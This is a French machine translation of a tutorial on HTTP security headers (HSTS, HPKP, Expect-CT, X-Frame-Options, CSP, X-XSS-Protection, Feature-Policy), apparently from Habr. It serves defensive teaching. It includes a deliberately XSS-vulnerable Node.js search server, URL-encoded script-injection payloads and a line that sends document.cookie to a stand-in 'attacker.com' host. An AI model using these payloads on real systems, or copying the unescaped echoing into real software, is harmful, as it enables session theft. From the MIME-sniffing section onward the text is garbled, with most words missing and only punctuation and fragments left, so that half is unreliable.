Comment renforcer la sĂ©curitĂ© des applications Web avec des en-tĂȘtes HTTP

image

Il s'agit de la troisiÚme partie de la série sur la sécurité Web: la deuxiÚme partie était « Sécurité Web: une introduction à HTTP », la premiÚre « Comment les navigateurs fonctionnent - Une introduction à la sécurité des applications Web ».

Comme nous l'avons vu dans les parties prĂ©cĂ©dentes de cette sĂ©rie, les serveurs peuvent envoyer des en-tĂȘtes HTTP pour fournir au client des mĂ©tadonnĂ©es supplĂ©mentaires dans la rĂ©ponse, en plus d'envoyer le contenu demandĂ© par le client. Les clients sont ensuite autorisĂ©s Ă  spĂ©cifier comment lire, mettre en cache ou protĂ©ger une ressource spĂ©cifique.

Les navigateurs ont dĂ©sormais implĂ©mentĂ© une trĂšs large gamme d'en-tĂȘtes liĂ©s Ă  la sĂ©curitĂ© pour rendre plus difficile pour les attaquants d'exploiter les vulnĂ©rabilitĂ©s. Dans cet article, nous allons essayer de discuter de chacun d'eux, en expliquant comment ils sont utilisĂ©s, quelles attaques ils empĂȘchent et un petit historique pour chaque rubrique.

Logiciel EDISON - développement web
Le message a été écrit avec le soutien d'EDISON Software, qui s'efforce de faire honneur aux programmeurs russes et partage en détail son expérience dans le développement de produits logiciels complexes .

HTTP Strict Transport Security (HSTS)


Depuis la fin de 2012, il est devenu plus facile pour les supporters de HTTPS Everywhere de faire en sorte que le client utilise toujours la version sécurisée du protocole HTTP grùce à Strict Transport Security: la ligne trÚs simple Strict-Transport-Security: max-age=3600 indiquera au navigateur que dans l'heure qui suit (3600 secondes), il ne doit pas interagir avec l'application via des protocoles dangereux.

Lorsqu'un utilisateur essaie d'accéder à une application protégée par HSTS via HTTP, le navigateur refuse simplement d'aller plus loin, convertissant automatiquement les URL http:// en https:// .

Vous pouvez vérifier cela localement avec le code github.com/odino/wasec/tree/master/hsts . Vous devrez suivre les instructions de README (cela inclut l'installation d'un certificat SSL approuvé pour localhost sur votre ordinateur à l'aide de l'outil mkcert ), puis essayez d'ouvrir https://localhost:7889 .

Dans cet exemple, il y a 2 serveurs: HTTPS, qui Ă©coute sur 7889 , et HTTP, sur le port 7888 . Lorsque vous accĂ©dez Ă  un serveur HTTPS, il essaiera toujours de vous rediriger vers une version HTTP qui fonctionnera car HSTS n'est pas disponible sur le serveur HTTPS. Si vous ajoutez hsts=on paramĂštre hsts=on Ă  votre URL, le navigateur convertit de force le lien vers la version https:// . Étant donnĂ© que le serveur sur 7888 est uniquement accessible via le protocole http, vous 7888 par 7888 une page qui ressemble Ă  ceci.

image

Vous pouvez ĂȘtre intĂ©ressĂ© de savoir ce qui se passe lorsqu'un utilisateur visite votre site pour la premiĂšre fois, car la stratĂ©gie HSTS n'est pas prĂ©dĂ©finie: les attaquants peuvent potentiellement tromper l'utilisateur dans la version http:// de votre site et y lancer une attaque, donc il y a encore place pour des problĂšmes . Il s'agit d'un problĂšme grave car HSTS est un mĂ©canisme d'approbation lors de la premiĂšre utilisation. Il essaie de s'assurer qu'aprĂšs avoir visitĂ© le site Web, le navigateur sait que HTTPS doit ĂȘtre utilisĂ© dans les interactions ultĂ©rieures.

Une solution de contournement pourrait ĂȘtre en maintenant une Ă©norme base de donnĂ©es de sites Web qui prennent en charge HSTS, ce que Chrome fait via hstspreload.org . Vous devez d'abord Ă©tablir votre politique, puis visiter le site Web et voir si elle peut ĂȘtre ajoutĂ©e Ă  la base de donnĂ©es. Par exemple, nous pouvons voir que Facebook est sur la liste.

image

En soumettant votre site Web Ă  cette liste, vous pouvez indiquer Ă  l'avance aux navigateurs que votre site utilise HSTS, de sorte que mĂȘme la premiĂšre interaction entre les clients et votre serveur se fera via un canal sĂ©curisĂ©. Mais c'est cher, car il faut vraiment participer au HSTS. Si, pour une raison quelconque, vous souhaitez que votre site Web soit supprimĂ© de la liste, ce n'est pas une tĂąche facile pour les fournisseurs de navigateurs:
Gardez Ă  l'esprit que l'inclusion dans la liste de prĂ©chargement ne peut pas ĂȘtre facilement annulĂ©e.

Les domaines peuvent ĂȘtre supprimĂ©s, mais il faut des mois pour mettre Chrome Ă  jour pour les utilisateurs, et nous ne pouvons pas garantir les autres navigateurs. Ne demandez pas l'inclusion dans la liste si vous n'ĂȘtes pas sĂ»r de pouvoir prendre en charge HTTPS pour l'ensemble de votre site et de tous ses sous-domaines pendant une longue pĂ©riode.
- Source: https://hstspreload.org/
En effet, le fournisseur ne peut garantir que tous les utilisateurs utiliseront la derniÚre version de leur navigateur et que votre site sera supprimé de la liste. Réfléchissez bien et prenez une décision en fonction de votre degré de confiance dans HSTS et de votre capacité à l'appuyer à long terme.

Épinglage de clĂ© publique HTTP (HPKP)


L'Ă©pinglage de clĂ© publique HTTP est un mĂ©canisme qui nous permet d'indiquer au navigateur les certificats SSL Ă  attendre lors de la connexion Ă  nos serveurs. Cet en-tĂȘte utilise le mĂ©canisme d'approbation lors de la premiĂšre utilisation, comme HSTS, et signifie qu'aprĂšs la connexion du client Ă  notre serveur, il stockera les informations de certificat pour les interactions ultĂ©rieures. Si, Ă  un moment donnĂ©, le client dĂ©couvre que le serveur utilise un certificat diffĂ©rent, il refusera poliment de se connecter, ce qui rendra trĂšs difficile la conduite d'une attaque d'homme au milieu (MITM).

Voici Ă  quoi ressemble la politique HPKP:

 Public-Key-Pins: pin-sha256="9yw7rfw9f4hu9eho4fhh4uifh4ifhiu="; pin-sha256="cwi87y89f4fh4fihi9fhi4hvhuh3du3="; max-age=3600; includeSubDomains; report-uri="https://pkpviolations.example.org/collect" 

L'en-tĂȘte annonce quels certificats le serveur utilisera (dans ce cas, deux d'entre eux) en utilisant le hachage de certificat, et inclut des informations supplĂ©mentaires telles que la durĂ©e de vie de cette directive ( max-age = 3600 ) et plusieurs autres dĂ©tails. Malheureusement, cela n'a aucun sens de creuser plus profondĂ©ment pour comprendre ce que nous pouvons faire avec la sĂ©curisation de la clĂ© publique, car Chrome n'approuve pas cette fonctionnalitĂ© - un signal que son adoption est vouĂ©e Ă  l'Ă©chec.

La solution de Chrome n'est pas irrationnelle, c'est juste une conséquence des risques associés à la sécurisation de la clé publique. Si vous perdez votre certificat ou faites simplement une erreur pendant les tests, votre site sera inaccessible aux utilisateurs qui l'ont déjà visité (pendant la période de validité de la directive max-age , qui est généralement des semaines ou des mois).

En raison de ces consĂ©quences potentiellement catastrophiques, l'adoption du HPKP Ă©tait extrĂȘmement faible et il y avait des moments oĂč les grands sites Web n'Ă©taient pas disponibles en raison d'une mauvaise configuration . Compte tenu de tout ce qui prĂ©cĂšde, Chrome a dĂ©cidĂ© que les utilisateurs seraient mieux sans la protection offerte par HPKP, et les chercheurs en sĂ©curitĂ© ne sont pas complĂštement opposĂ©s Ă  cette dĂ©cision .

Expect-CT


Alors que HPKP dĂ©sapprouvait, un nouvel en-tĂȘte est apparu pour empĂȘcher les certificats SSL frauduleux pour les clients: Expect-CT .

Le but de cet en-tĂȘte est d'indiquer au navigateur qu'il doit effectuer des «vĂ©rifications d'antĂ©cĂ©dents» supplĂ©mentaires pour vĂ©rifier que le certificat est authentique: lorsque le serveur utilise l'en Expect-CT tĂȘte Expect-CT , il demande essentiellement au client de vĂ©rifier que les certificats utilisĂ©s se trouvent dans les journaux de certificats de transparence ouverts. (CT).

L'initiative de transparence des certificats est le fruit des efforts de Google pour garantir:
Une plate-forme ouverte pour la surveillance et l'audit des certificats SSL en temps quasi réel.

En particulier, la transparence des certificats vous permet de détecter les certificats SSL émis par erreur par une autorité de certification ou obtenus par malveillance d'une autre autorité de certification sans faille. Il vous permet également d'identifier les autorités de certification qui ont commis une fraude et d'émettre des certificats par malveillance.
- Source: https://www.certificate-transparency.org/
L'en-tĂȘte prend cette forme:

 Expect-CT: max-age=3600, enforce, report-uri="https://ct.example.com/report" 

Dans cet exemple, le serveur demande au navigateur:

  • activer la vĂ©rification CT pour l'application actuelle pendant une pĂ©riode de 1 heure (3600 secondes)
  • enforce appliquer cette politique et refuser l'accĂšs Ă  l'application en cas de violation
  • envoyer un rapport Ă  l'URL spĂ©cifiĂ©e en cas de violation

L'objectif de l'initiative de transparence des certificats est de détecter les certificats émis par erreur ou malveillants (et les autorités de certification frauduleuses) plus tÎt, plus rapidement et plus précisément que toute autre méthode utilisée auparavant.

En activant l'utilisation de l'en Expect-CT tĂȘte Expect-CT , vous pouvez prendre cette initiative pour amĂ©liorer l'Ă©tat de sĂ©curitĂ© de votre application.

X-frame-options


Imaginez que vous voyez une page Web comme celle-ci

image

DÚs que vous cliquez sur le lien, vous comprenez que tout l'argent de votre compte bancaire a disparu. Qu'est-il arrivé?

Vous avez été victime d'une attaque par détournement de clics.

Un attaquant vous a dirigé vers son site Web, qui affiche un lien de clic trÚs attrayant. Malheureusement, il a également intégré la page iframe avec your-bank.com/transfer?amount=-1&[attacker@gmail.com] , mais l'a your-bank.com/transfer?amount=-1&[attacker@gmail.com] en définissant la transparence à 0%. Nous pensions avoir cliqué sur la page d'origine, essayant de gagner un tout nouveau hamer, mais à la place, le navigateur a fixé un clic sur l'iframe, un clic dangereux qui a confirmé le transfert d'argent.

La plupart des systÚmes bancaires exigent que vous fournissiez un NIP unique pour confirmer les transactions, mais votre banque n'a pas rattrapé l'heure et tout votre argent a été perdu.

L'exemple est assez extrĂȘme, mais il devrait vous faire comprendre quelles peuvent ĂȘtre les consĂ©quences d'une attaque utilisant le dĂ©tournement de clics . L'utilisateur a l'intention de cliquer sur un lien spĂ©cifique, tandis que le navigateur provoquera un clic sur la page "invisible", qui a Ă©tĂ© intĂ©grĂ©e comme cadre.

J'ai inclus un exemple de cette vulnĂ©rabilitĂ© dans github.com/odino/wasec/tree/master/clickjacking . Si vous exĂ©cutez l'exemple et essayez de cliquer sur le lien «attrayant», vous verrez que le vrai clic est interceptĂ© par l'iframe, ce qui le rend non transparent, de sorte qu'il est plus facile pour vous de dĂ©tecter le problĂšme. Un exemple devrait ĂȘtre disponible sur http://localhost:7888 .

image

Heureusement, les navigateurs ont trouvĂ© une solution simple Ă  ce problĂšme: X-Frame-Options (XFO), qui vous permet de dĂ©cider si votre application peut ĂȘtre incorporĂ©e comme iframes sur des sites Web externes. PopularisĂ© par Internet Explorer 8, XFO a Ă©tĂ© introduit pour la premiĂšre fois en 2009 et est toujours pris en charge par tous les principaux navigateurs.

Cela fonctionne comme ceci: lorsque le navigateur voit un iframe, il le charge et vĂ©rifie que son XFO lui permet d'ĂȘtre inclus dans la page actuelle avant de le rendre.

image

Valeurs prises en charge:

  • DENY : cette page Web ne peut ĂȘtre intĂ©grĂ©e nulle part. Il s'agit du plus haut niveau de protection car il ne permet Ă  personne d'intĂ©grer notre contenu.
  • SAMEORIGIN : Seules les pages du mĂȘme domaine que l'actuel peuvent insĂ©rer cette page. Cela signifie que example.com/embedder peut charger example.com/embedded si sa stratĂ©gie est dĂ©finie sur SAMEORIGIN . Il s'agit d'une politique plus calme qui permet aux propriĂ©taires d'un site Web particulier d'intĂ©grer leurs propres pages dans leur application.
  • ALLOW-FROM uri : piĂšce jointe autorisĂ©e Ă  partir de l'URI spĂ©cifiĂ©. Nous pourrions, par exemple, autoriser un site Web externe autorisĂ© Ă  intĂ©grer notre contenu en utilisant ALLOW-FROM https://external.com . Ceci est gĂ©nĂ©ralement utilisĂ© lorsque vous allez autoriser des dĂ©veloppeurs tiers Ă  intĂ©grer votre contenu via un iframe.

Un exemple de réponse HTTP qui inclut la politique XFO la plus stricte possible est la suivante:

 HTTP/1.1 200 OK Content-Type: application/json X-Frame-Options: DENY ... 

Pour montrer comment les navigateurs se comportent lorsque XFO est activé, nous pouvons simplement changer notre exemple d'URL en http://localhost:7888 /?xfo=on . Le paramÚtre xfo=on indique au serveur d'inclure X-Frame-Options: deny dans la réponse, et nous pouvons voir comment le navigateur restreint l'accÚs à l'iframe:

image

XFO était considéré comme le meilleur moyen de prévenir les attaques basées sur les clics basées sur les frames jusqu'à ce qu'un autre titre entre en jeu aprÚs quelques années - Content Security Policy ou CSP pour faire court.

Politique de sécurité du contenu (CSP)


L'en Content-Security-Policy tĂȘte Content-Security-Policy , abrĂ©gĂ© CSP, fournit des utilitaires de nouvelle gĂ©nĂ©ration pour empĂȘcher une variĂ©tĂ© d'attaques, de XSS (cross-site scripting) Ă  l'interception de clics (click-jacking).

Pour comprendre comment CSP nous aide, vous devez d'abord penser Ă  un vecteur d'attaque. Disons que nous venons de crĂ©er notre propre moteur de recherche Google, oĂč il y a un champ de saisie simple avec un bouton de soumission.

image

Cette application web n'a rien de magique. C'est simple

  • affiche le formulaire
  • permet Ă  l'utilisateur de rechercher
  • affiche les rĂ©sultats de la recherche avec le mot clĂ© recherchĂ© par l'utilisateur

Lorsque nous effectuons une recherche simple, l'application renvoie les informations suivantes:

image

Incroyable Notre application a incroyablement compris notre recherche et a trouvé une image similaire. Si nous nous penchons sur le code source disponible sur github.com/odino/wasec/tree/master/xss , nous nous rendrons bientÎt compte que l'application présente un problÚme de sécurité, car tout mot clé qu'un utilisateur recherche est directement imprimé en HTML:

 var qs = require('querystring') var url = require('url') var fs = require('fs') require('http').createServer((req, res) => { let query = qs.parse(url.parse(req.url).query) let keyword = query.search || '' let results = keyword ? `You searched for "${keyword}", we found:</br><img src="http://placekitten.com/200/300" />` : `Try searching...` res.end(fs.readFileSync(__dirname + '/index.html').toString().replace('__KEYWORD__', keyword).replace('__RESULTS__', results)) }).listen(7888) <html> <body> <h1>Search The Web</h1> <form> <input type="text" name="search" value="__KEYWORD__" /> <input type="submit" /> </form> <div id="results"> __RESULTS__ </div> </body> </html> 

C'est une conséquence désagréable. Un attaquant peut créer un lien spécifique qui exécute du JavaScript arbitraire dans le navigateur de la victime.

image

Si vous avez le temps et la patience d'exĂ©cuter l'exemple localement, vous pouvez rapidement comprendre toute la puissance de CSP. J'ai ajoutĂ© un paramĂštre de chaĂźne de requĂȘte qui inclut CSP, afin que nous puissions essayer de passer Ă  une URL malveillante avec CSP activĂ©:
localhost : 7888 /? search =% 3Cscript + type% 3D 3D% 22text% 2Fjavascript% 22% 3Ealert% 28% 27You% 20have% 20been% 20PWNED% 27% 29% 3C% 2Fscript% 3E & csp = on
image

Comme vous le voyez dans l'exemple ci-dessus, nous avons indiquĂ© au navigateur que notre stratĂ©gie CSP autorise uniquement les scripts inclus Ă  partir de la mĂȘme source de l'URL actuelle, que nous pouvons facilement vĂ©rifier en accĂ©dant Ă  l'URL en utilisant curl et en regardant l'en-tĂȘte de rĂ©ponse:

 $ curl -I "http://localhost:7888/?search=%3Cscript+type%3D%22text%2Fjavascript%22%3Ealert%28%27You%20have%20been%20PWNED%27%29%3C%2Fscript%3E&csp=on" HTTP/1.1 200 OK X-XSS-Protection: 0 Content-Security-Policy: default-src 'self' Date: Sat, 11 Aug 2018 10:46:27 GMT Connection: keep-alive 

Étant donnĂ© que l'attaque XSS a Ă©tĂ© effectuĂ©e Ă  l'aide d'un script intĂ©grĂ© (un script directement intĂ©grĂ© au contenu HTML), le navigateur a poliment refusĂ© de l'exĂ©cuter, garantissant la sĂ©curitĂ© de notre utilisateur. Imaginez qu'au lieu d'afficher simplement une boĂźte de dialogue d'avertissement, un attaquant configurerait une redirection vers son propre domaine via du code JavaScript, qui pourrait ressembler Ă  ceci:

 window.location = `attacker.com/${document.cookie}` 

Ils pourraient voler tous les cookies utilisateur, qui peuvent contenir des données trÚs confidentielles (plus à ce sujet dans le prochain article).

À prĂ©sent, il devrait ĂȘtre clair comment CSP nous aide Ă  prĂ©venir un certain nombre d'attaques sur les applications Web. Vous dĂ©finissez une politique, et le navigateur s'y conformera strictement, refusant d'exĂ©cuter des ressources qui violeront la politique.

Une option intĂ©ressante pour CSP est le mode de rapport uniquement. Au lieu d'utiliser l'en Content-Security-Policy tĂȘte Content-Security-Policy , vous pouvez d'abord vĂ©rifier l'effet du CSP sur votre site en disant au navigateur de simplement signaler les erreurs sans bloquer l'exĂ©cution du script, etc. Utilisation de l'en Content-Security-Policy-Report-Only tĂȘte Content-Security-Policy-Report-Only .

Les rapports vous permettront de comprendre quels changements critiques peuvent ĂȘtre causĂ©s par la stratĂ©gie CSP que vous souhaitez dĂ©ployer et de les corriger en consĂ©quence. Nous pouvons mĂȘme fournir l'URL du rapport et le navigateur nous enverra le rapport. Voici un exemple complet de stratĂ©gie de rapport uniquement:

 Content-Security-Policy: default-src 'self'; report-uri http://cspviolations.example.com/collector 

Les stratĂ©gies CSP elles-mĂȘmes peuvent ĂȘtre un peu compliquĂ©es, par exemple dans l'exemple suivant:

 Content-Security-Policy: default-src 'self'; script-src scripts.example.com; img-src *; media-src medias.example.com medias.legacy.example.com 

Cette politique définit les rÚgles suivantes:

  • les scripts exĂ©cutables (par exemple JavaScript) ne peuvent ĂȘtre tĂ©lĂ©chargĂ©s scripts.example.com partir de scripts.example.com
  • Les images peuvent ĂȘtre tĂ©lĂ©chargĂ©es Ă  partir de n'importe quelle source ( img-src: * )
  • le contenu vidĂ©o ou audio peut ĂȘtre tĂ©lĂ©chargĂ© Ă  partir de deux sources: medias.example.com et medias.legacy.example.com

Comme vous pouvez le voir, il peut y avoir de nombreux politiciens, et si nous voulons offrir une protection maximale Ă  nos utilisateurs, cela peut ĂȘtre un processus assez fastidieux. Cependant, la rĂ©daction d'une politique CSP complĂšte est une Ă©tape importante vers l'ajout d'une couche de sĂ©curitĂ© supplĂ©mentaire Ă  nos applications Web.

Pour plus d'informations sur CSP, je recommanderais developer.mozilla.org/en-US/docs/Web/HTTP/CSP .

Protection X-XSS


Bien que remplacĂ© par CSP, l'en X-XSS-Protection tĂȘte X-XSS-Protection fournit le mĂȘme type de protection. Cet en-tĂȘte est utilisĂ© pour attĂ©nuer les attaques XSS dans les anciens navigateurs qui ne prennent pas totalement en charge CSP. Cet en-tĂȘte n'est pas pris en charge par Firefox.

Sa syntaxe est trĂšs similaire Ă  ce que nous venons de voir:

 X-XSS-Protection: 1; report=http://xssviolations.example.com/collector 

Reflected XSS est le type d'attaque le plus courant lorsque le texte saisi est imprimĂ© par le serveur sans aucune vĂ©rification, et c'est lĂ  que cet en-tĂȘte rĂ©sout vraiment. Si vous voulez le voir par vous-mĂȘme, je vous recommande d'essayer l'exemple sur github.com/odino/wasec/tree/master/xss , car en ajoutant xss=on Ă  l'URL, il montre ce que fait le navigateur lorsque la protection XSS est activĂ©e . Si nous entrons une chaĂźne malveillante dans le champ de recherche, par exemple, le navigateur refuse poliment d'exĂ©cuter le script et explique la raison de sa dĂ©cision:

 The XSS Auditor refused to execute a script in 'http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=on' because its source code was found within the request. The server sent an 'X-XSS-Protection' header requesting this behavior. 

Encore plus intéressant est le comportement par défaut dans Chrome lorsqu'une stratégie CSP ou XSS n'est pas spécifiée sur une page Web. Un script que nous pouvons tester en ajoutant le paramÚtre xss=off à notre URL ( http://localhost:7888/?search=%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E&xss=off ):

image

Étonnamment, Chrome est suffisamment prudent pour empĂȘcher le rendu des pages, ce qui rend difficile la crĂ©ation de XSS en miroir. Impressionnant jusqu'oĂč les navigateurs sont allĂ©s.

Politique de fonctionnalité


En juillet 2018, le chercheur en sécurité Scott Helm a publié un article de blog trÚs intéressant détaillant le nouveau titre de sécurité: Feature-Policy .

Actuellement pris en charge par trĂšs peu de navigateurs (Chrome et Safari au moment de la rĂ©daction de cet article), cet en-tĂȘte nous permet de dĂ©terminer si une fonctionnalitĂ© de navigateur particuliĂšre est activĂ©e sur la page actuelle. Avec une syntaxe trĂšs similaire Ă  CSP, nous ne devrions avoir aucun problĂšme Ă  comprendre ce que les politiques de fonction signifient, telles que les suivantes:

 Feature-Policy: vibrate 'self'; push *; camera 'none' 

Si nous avons tous des doutes, comment cette politique affecte l'API du navigateur, nous pouvons simplement l'analyser:

  • vibrate 'self' : permet Ă  la page actuelle d'utiliser l'API de vibration et n'importe quel cadre du site actuel.
  • push * : la page en cours et n'importe quel cadre peuvent utiliser l'API de notification push
  • camera 'none' : l'accĂšs Ă  l'API de la camĂ©ra est refusĂ© sur cette page et sur les cadres

La politique des fonctionnalités a un peu d'histoire. Si votre site permet aux utilisateurs, par exemple, de prendre des selfies ou d'enregistrer de l'audio, il serait trÚs utile d'utiliser une politique qui restreint l'accÚs à l'API via votre page dans d'autres contextes.

Options de type de contenu X


Parfois, les fonctionnalités du navigateur intelligent finissent par nous nuire en termes de sécurité. Un exemple parfait est le reniflement MIME, une technique populaire dans Internet Explorer.

MIME- — ( ) . , /awesome-picture.png , (, Content-Type: text/plain ). , .

, IE , MIME-: «» , , , Content-Type , , , , .

-, , , /test.jpg , JavaScript. , ? , HTML , , «», . , , , .

, X-Content-Type-Options: nosniff , MIME-: , , , . , , , .

Cross-Origin Resource Sharing (CORS)


JavaScript HTTP- . , AJAX- example.com example.com .

, — cookie, . , win-a-hummer.com , AJAX your-bank.com . - , HTTP- , , , .

AJAX , Cross Origin Resource Sharing (CORS), , .

, CORS, , , «» CORS.

, , , Access-Control-Allow-Origin , , .

Access-Control-Allow-Origin: * , , , URL-, , Access-Control-Allow-Origin: https://example.com .

github.com/odino/wasec/tree/master/cors , , . , AJAX test-cors test-cors-2 . test-cors-2 CORS, , . http://cors-test:7888/?cors=on

image

cors URL, :

image

, , , , . , , . , , , my-bank.com/transfer?amount=1000&from=me&to=attacker. !

, GET - , , POST -? , , , http://cors-test:7888/?method=POST :

image

POST , , « ». , OPTIONS , . , , POST .

:

  • CORS — . , , , .
  • API, GET . , .

, -, , , CORS. , , example.com , example.com/_proxy/other.com , , _proxy/other.com/* , other.com .

, , CORS, MDN , developer.mozilla.org/en-US/docs/Web/HTTP/CORS .

X-Permitted-Cross-Domain-Policies


CORS, X-Permitted-Cross-Domain-Policies Adobe ( , Flash Acrobat).

, , . , Adobe crossdomain.xml , , X-Permitted-Cross-Domain-Policies .

? X-Permitted-Cross-Domain-Policies: none , Flash.

Referrer-Policy


, , . Referer , . URL , .

, , . , . Referer . , , .

Referrer-Policy , 2017 , , , URL- Referer .

, Referrer-Policy :

  • no-referrer : Referer
  • origin : https://example.com/private-page https://example.com/
  • same-origin : Referer ,

, Referred-Policy ( strict-origin , no-referrer-when-downgrade . .), , , , . , , OWASP .

Origin Referer , , , . Origin , . -: Origin , .

, HTTP-, cURL, : c url -H "Origin: example.com" api.example.com origin 

 Origin ( Referer , ) .


securityheaders.com , -, , - , . , URL, . facebook.com :

image

, , securityheaders.com — , .

HTTP : cookie


HTTP, , - , .

HTTP: .

, - HTTP , , , ( ) -: - , , « ». , cookie , .

Source: https://habr.com/ru/post/fr434228/


All Articles